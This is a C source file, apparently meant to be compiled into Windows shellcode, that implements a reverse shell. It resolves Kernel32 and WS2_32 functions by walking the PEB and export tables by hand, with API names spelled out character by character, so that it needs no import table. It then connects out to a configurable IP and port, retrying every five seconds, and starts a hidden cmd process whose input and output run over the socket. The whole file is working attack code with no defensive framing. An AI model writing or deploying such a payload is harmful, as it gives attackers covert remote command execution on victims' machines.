payload.c

#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
#include <winternl.h>

# define CLIENT_IP (char*)"127.0.0.1"
# define CLIENT_PORT (int)80


#define FUNC __attribute__((section(".func")))

// The 16-bytes stack alignment is required for WinAPI functions
// See source : https://github.com/Print3M/c-to-shellcode
#define ALIGN_STACK()                                                          \
  __asm__ __volatile__(                                                        \
      "mov %%rsp, %%rax;" /* Move stack pointer to rax */                      \
      "and $0xF, %%rax;"  /* Check if aligned to 16 bytes */                   \
      "jz aligned;"       /* If aligned, jump to aligned If not aligned,       \
                             adjust the stack pointer */                       \
      "sub $8, %%rsp;"    /* Decrease stack pointer by 8 bytes */              \
      "xor %0, %0;"       /* Optionally zero out the allocated space */        \
      "aligned:"                                                               \
      :        /* No output operands */                                        \
      : "r"(0) /* Input operand (to zero out) */                               \
      : "%rax" /* Clobbered register */                                        \
  );

// memcpy custom function
FUNC void *mc(void* dest, const void* src, size_t n){
    char* d = (char*)dest;
    const char* s = (const char*)src;
    while (n--)
        *d++ = *s++;
    return dest;
}

// wchar comparison custom function
FUNC int my_wcsicmp(const wchar_t *s1, const wchar_t *s2) {
    while (*s1 != L'\0' && *s2 != L'\0') {
        wchar_t c1 = (*s1 >= L'a' && *s1 <= L'z') ? *s1 - 32 : *s1;
        wchar_t c2 = (*s2 >= L'a' && *s2 <= L'z') ? *s2 - 32 : *s2;
        if (c1 != c2) {
            return (c1 < c2) ? -1 : 1;
        }
        s1++;
        s2++;
    }
    if (*s1 == L'\0' && *s2 == L'\0') return 0;
    return (*s1 == L'\0') ? -1 : 1;
}

// str comparison custom function
FUNC int my_strcmp(const char *str1, const char *str2) {
  while (*str1 != '\0' && *str2 != '\0') {
    if (*str1 != *str2) {
      return (*str1 < *str2) ? -1 : 1;
    }
    str1++;
    str2++;
  }
  if (*str1 == '\0' && *str2 == '\0') {
    return 0;
  }
  return (*str1 == '\0') ? -1 : 1;
}

// Function to retrieve DLL from PEB
FUNC PLDR_DATA_TABLE_ENTRY GetDllLdr(PPEB_LDR_DATA ldr, wchar_t *name) {
  PLIST_ENTRY head = &ldr->InMemoryOrderModuleList;
  PLIST_ENTRY item = head->Blink;
  if (item == NULL || item == head) {
      return NULL;
  }
  PLDR_DATA_TABLE_ENTRY dll = NULL;
  do {
    dll = CONTAINING_RECORD(item, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
    if (dll == NULL) return NULL;
    if (my_wcsicmp(dll->FullDllName.Buffer, name) == 0) {
      return dll;
    }
    item = item->Blink;
  } while (item != NULL );
  return NULL;
}

// Function to parse PEB
FUNC PPEB GetPEB(void) {
  uint64_t value = 0;
  asm volatile("movq %%gs:%1, %0"
               : "=r"(value)            // output
               : "m"(*(uint64_t *)0x60) // input
               :                        // no clobbered registers
  );
  return (PPEB)value;
}

// htons custom function
FUNC unsigned short my_htons(unsigned short value) {
    return (unsigned short)((value << 8) | (value >> 8));
}

// inet_addr custom function
FUNC unsigned long my_inet_addr(const char *ip){
    unsigned long result = 0;
    unsigned int octet = 0;
    int count = 0;
    while (*ip) {
        if (*ip >= '0' && *ip <= '9') {
            octet = octet * 10 + (unsigned int)(*ip - '0');
            if (octet > 255)
                return 0xFFFFFFFFUL;
        } else if (*ip == '.') {
            if (count >= 3)
                return 0xFFFFFFFFUL;
            result |= ((unsigned long)octet << (count * 8));
            octet = 0;
            count++;
        } else {
            return 0xFFFFFFFFUL;
        }
        ip++;
    }
    if (count != 3)
        return 0xFFFFFFFFUL;
    result |= ((unsigned long)octet << 24);
    return result;
}

// memset custom function
FUNC void *my_memset(void *dst, int value, size_t size){
    unsigned char *p = (unsigned char *)dst;
    while (size--)
        *p++ = (unsigned char)value;
    return dst;
}


// main function
int start(void) {

// STRUCTS
typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;
  LPVOID lpSecurityDescriptor;
  BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

typedef struct _STARTUPINFO {
  DWORD  cb;
  LPTSTR lpReserved;
  LPTSTR lpDesktop;
  LPTSTR lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFO, *LPSTARTUPINFO, *LPSTARTUPINFOA;

typedef struct _PROCESS_INFORMATION {
  HANDLE hProcess;
  HANDLE hThread;
  DWORD  dwProcessId;
  DWORD  dwThreadId;
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;

typedef struct WSAData {
  WORD wVersion;
  WORD wHighVersion;
  char szDescription[256  + 1];
  char szSystemStatus[128  + 1];
  unsigned short iMaxSockets;
  unsigned short iMaxUdpDg;
  char FAR * lpVendorInfo;
} WSADATA, *LPWSADATA;

typedef struct _GUID {
  DWORD Data1;
  WORD  Data2;
  WORD  Data3;
  BYTE  Data4[8];
} GUID;

#define MAX_PROTOCOL_CHAIN 7

typedef struct _WSAPROTOCOLCHAIN {
  int ChainLen;
  DWORD ChainEntries[MAX_PROTOCOL_CHAIN];
} WSAPROTOCOLCHAIN, *LPWSAPROTOCOLCHAIN;

typedef struct _WSAPROTOCOL_INFOA {
  DWORD dwServiceFlags1;
  DWORD dwServiceFlags2;
  DWORD dwServiceFlags3;
  DWORD dwServiceFlags4;
  DWORD dwProviderFlags;
  GUID ProviderId;
  DWORD dwCatalogEntryId;
  WSAPROTOCOLCHAIN ProtocolChain;
  int iVersion;
  int iAddressFamily;
  int iMaxSockAddr;
  int iMinSockAddr;
  int iSocketType;
  int iProtocol;
  int iProtocolMaxOffset;
  int iNetworkByteOrder;
  int iSecurityScheme;
  DWORD dwMessageSize;
  DWORD dwProviderReserved;
  CHAR szProtocol[255 + 1];
} WSAPROTOCOL_INFOA, *LPWSAPROTOCOL_INFOA;

typedef unsigned int GROUP;

typedef u_int SOCKET;

typedef struct sockaddr {
  u_short sa_family;
  CHAR sa_data[14];
} SOCKADDR, *PSOCKADDR, FAR *LPSOCKADDR;

typedef struct _WSABUF {
  ULONG len;
  CHAR *buf;
} WSABUF, *LPWSABUF;

typedef unsigned int  SERVICETYPE;

typedef struct _flowspec {
  ULONG TokenRate;
  ULONG TokenBucketSize;
  ULONG PeakBandwidth;
  ULONG Latency;
  ULONG DelayVariation;
  SERVICETYPE ServiceType;
  ULONG MaxControlledLeaveDelay;
  ULONG MinimumPolicedSize;
} FLOWSPEC, *PFLOWSPEC, *LPFLOWSPEC;

typedef struct _QualityOfService {
  FLOWSPEC SendingFlowspec;
  FLOWSPEC ReceivingFlowspec;
  WSABUF ProviderSpecific;
} QOS, *LPQOS;

struct in_addr {
  union {
    struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
    struct { u_short s_w1,s_w2; } S_un_w;
    u_long S_addr;
  } S_un;
#define s_addr  S_un.S_addr
#define s_host  S_un.S_un_b.s_b2
#define s_net   S_un.S_un_b.s_b1
#define s_imp   S_un.S_un_w.s_w2
#define s_impno S_un.S_un_b.s_b4
#define s_lh    S_un.S_un_b.s_b3
};

struct sockaddr_in {
  short sin_family;
  unsigned short sin_port;
  struct in_addr sin_addr;
  char sin_zero[8];
};

#define AF_INET 2
#define SOCK_STREAM 1
#define IPPROTO_TCP 6


  PPEB peb = GetPEB();

  // Loading of Kernel32.dll
  wchar_t krnl32_dll_name[] = {
      L'C', L':', L'\\', L'W', L'i', L'n', L'd', L'o', L'w',  L's', L'\\',
      L'S', L'y', L's',  L't', L'e', L'm', L'3', L'2', L'\\', L'K', L'E',
      L'R', L'N', L'E',  L'L', L'3', L'2', L'.', L'D', L'L',  L'L', L'\0',
  };
  // Get address of krnl32.dll
  PLDR_DATA_TABLE_ENTRY krnl32_ldr = GetDllLdr(peb->Ldr, krnl32_dll_name);
  PIMAGE_DOS_HEADER krnl32 = (PIMAGE_DOS_HEADER)krnl32_ldr->DllBase;
  // Get address of PE headers
  PVOID pe_hdrs_krnl32 = (PVOID)((PVOID)krnl32 + krnl32->e_lfanew);
  // Get Export Address Table RVA
  DWORD eat_rva_krnl32 = *(PDWORD)(pe_hdrs_krnl32 + 0x88);
  // Get address of Export Address Table
  PIMAGE_EXPORT_DIRECTORY eat_krnl32 = (PIMAGE_EXPORT_DIRECTORY)((PVOID)krnl32 + eat_rva_krnl32);
  // Get address of function names table
  PDWORD name_rva_krnl32 = (PDWORD)((PVOID)krnl32 + eat_krnl32->AddressOfNames);
  // Get function ordinal
  PWORD ordinals_krnl32 = (PWORD)((PVOID)krnl32 + eat_krnl32->AddressOfNameOrdinals);
  // Get function pointer
  PDWORD func_rvas_krnl32 = (PDWORD)((PVOID)krnl32 + eat_krnl32->AddressOfFunctions);

  // Get function LoadLibraryW
  char LoadLibraryW_name[] = {'L', 'o', 'a', 'd', 'L', 'i', 'b', 'r', 'a', 'r', 'y', 'W', '\0'};
  uint64_t j = 0;
  do {
    char *tmp = (char *)((PVOID)krnl32 + name_rva_krnl32[j]);
    if (my_strcmp(tmp, LoadLibraryW_name) == 0) {
      break;
    }
    j++;
  } while (true);
  WORD ordinal_LoadLibraryW = ordinals_krnl32[j];
  DWORD func_rva_LoadLibraryW = func_rvas_krnl32[ordinal_LoadLibraryW];
  typedef HMODULE (WINAPI *pLoadLibraryW)(LPCWSTR lpLibFileName);
  pLoadLibraryW _pLoadLibraryW = (pLoadLibraryW)((PVOID)krnl32 + func_rva_LoadLibraryW);

  // Get function Sleep
  char Sleep_name[] = {'S', 'l', 'e', 'e', 'p', '\0'};
  j = 0;
  do {
    char *tmp = (char *)((PVOID)krnl32 + name_rva_krnl32[j]);
    if (my_strcmp(tmp, Sleep_name) == 0) {
      break;
    }
    j++;
  } while (true);
  WORD ordinal_Sleep = ordinals_krnl32[j];
  DWORD func_rva_Sleep = func_rvas_krnl32[ordinal_Sleep];
  typedef void (WINAPI *pSleep)(DWORD dwMilliseconds);
  pSleep _pSleep = (pSleep)((PVOID)krnl32 + func_rva_Sleep);

  // Get function CreateProcessA
  char CreateProcessA_name[] = {'C', 'r', 'e', 'a', 't', 'e', 'P', 'r', 'o', 'c', 'e', 's', 's', 'A', '\0'};
  j = 0;
  do {
    char *tmp = (char *)((PVOID)krnl32 + name_rva_krnl32[j]);
    if (my_strcmp(tmp, CreateProcessA_name) == 0) {
      break;
    }
    j++;
  } while (true);
  WORD ordinal_CreateProcessA = ordinals_krnl32[j];
  DWORD func_rva_CreateProcessA = func_rvas_krnl32[ordinal_CreateProcessA];
  typedef BOOL (WINAPI *pCreateProcessA)(LPCSTR lpApplicationName, LPSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCSTR lpCurrentDirectory, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation);
  pCreateProcessA _pCreateProcessA = (pCreateProcessA)((PVOID)krnl32 + func_rva_CreateProcessA);

  // Loading of WS2_32.dll from Kernel32 LoadLibraryW function
  wchar_t ws232_name[] = {L'W', L'S', L'2', L'_', L'3', L'2', L'.', L'd', L'l', L'l', L'\0'};
  HMODULE hws232 = _pLoadLibraryW(ws232_name);
  PIMAGE_DOS_HEADER ws232 = (PIMAGE_DOS_HEADER)hws232;
  PVOID pe_hdrs_ws232 = (PVOID)((PVOID)ws232 + ws232->e_lfanew);
  DWORD eat_rva_ws232 = *(PDWORD)(pe_hdrs_ws232 + 0x88);
  PIMAGE_EXPORT_DIRECTORY eat_ws232 = (PIMAGE_EXPORT_DIRECTORY)((PVOID)ws232 + eat_rva_ws232);
  PDWORD name_rva_ws232 = (PDWORD)((PVOID)ws232 + eat_ws232->AddressOfNames);
  PWORD ordinals_ws232 = (PWORD)((PVOID)ws232 + eat_ws232->AddressOfNameOrdinals);
  PDWORD func_rvas_ws232 = (PDWORD)((PVOID)ws232 + eat_ws232->AddressOfFunctions);

  // Loading of WsaStartup function
  char Wsastarup_name[] = {'W', 'S', 'A', 'S', 't', 'a', 'r', 't', 'u', 'p', '\0'};
  j = 0;
  do {
    char *tmp = (char *)((PVOID)ws232 + name_rva_ws232[j]);
    if (my_strcmp(tmp, Wsastarup_name) == 0) {
      break;
    }
    j++;
  } while (true);
  WORD ordinal_Wsastarup = ordinals_ws232[j];
  DWORD func_rva_Wsastarup = func_rvas_ws232[ordinal_Wsastarup];
  typedef int (*pWSAStartup)(WORD wVersionRequired, LPWSADATA lpWSAData);
  pWSAStartup _pWSAStartup = (pWSAStartup)((PVOID)ws232 + func_rva_Wsastarup);

  // Loading of WSASocketA function
  char WSASocketA_name[] = {'W', 'S', 'A', 'S', 'o', 'c', 'k', 'e', 't', 'A', '\0'};
  j = 0;
  do {
    char *tmp = (char *)((PVOID)ws232 + name_rva_ws232[j]);
    if (my_strcmp(tmp, WSASocketA_name) == 0) {
      break;
    }
    j++;
  } while (true);
  WORD ordinal_WSASocketA = ordinals_ws232[j];
  DWORD func_rva_WSASocketA = func_rvas_ws232[ordinal_WSASocketA];
  typedef SOCKET (*pWSASocketA)(int af, int type, int protocol, LPWSAPROTOCOL_INFOA lpProtocolInfo, GROUP g, DWORD dwFlags);
  pWSASocketA _pWSASocketA = (pWSASocketA)((PVOID)ws232 + func_rva_WSASocketA);

  // Loading of WSAConnect function
  char WSAConnect_name[] = {'W', 'S', 'A', 'C', 'o', 'n', 'n', 'e', 'c', 't', '\0'};
  j = 0;
  do {
    char *tmp = (char *)((PVOID)ws232 + name_rva_ws232[j]);
    if (my_strcmp(tmp, WSAConnect_name) == 0) {
      break;
    }
    j++;
  } while (true);
  WORD ordinal_WSAConnect = ordinals_ws232[j];
  DWORD func_rva_WSAConnect = func_rvas_ws232[ordinal_WSAConnect];
  typedef int (*pWSAConnect)(SOCKET s, const SOCKADDR *name, int namelen, LPWSABUF lpCallerData, LPWSABUF lpCalleeData, LPQOS lpSQOS, LPQOS lpGQOS);
  pWSAConnect _pWSAConnect = (pWSAConnect)((PVOID)ws232 + func_rva_WSAConnect);

  
  // The 16-bytes stack alignment is required for WinAPI functions
  //ALIGN_STACK();


  // Main instructions
  WSADATA wsaData;
  _pWSAStartup(MAKEWORD(2 ,2), &wsaData);
  int port = CLIENT_PORT;
  struct sockaddr_in sa;
  SOCKET sockt = _pWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  sa.sin_family = AF_INET;
  sa.sin_port = my_htons(port);
  sa.sin_addr.s_addr = my_inet_addr(CLIENT_IP);

  while (_pWSAConnect(sockt, (const SOCKADDR *)&sa, sizeof(sa), NULL, NULL, NULL, NULL ) != 0) {
    _pSleep(5000);
  }
  
  STARTUPINFO sinfo;
  my_memset(&sinfo, 0, sizeof(sinfo));
  sinfo.cb = sizeof(sinfo);
  sinfo.dwFlags = (0x00000100);
  sinfo.hStdInput = (HANDLE)sockt;
  sinfo.hStdOutput = (HANDLE)sockt;
  sinfo.hStdError = (HANDLE)sockt;
  PROCESS_INFORMATION pinfo;
  _pCreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);

  return 0;
}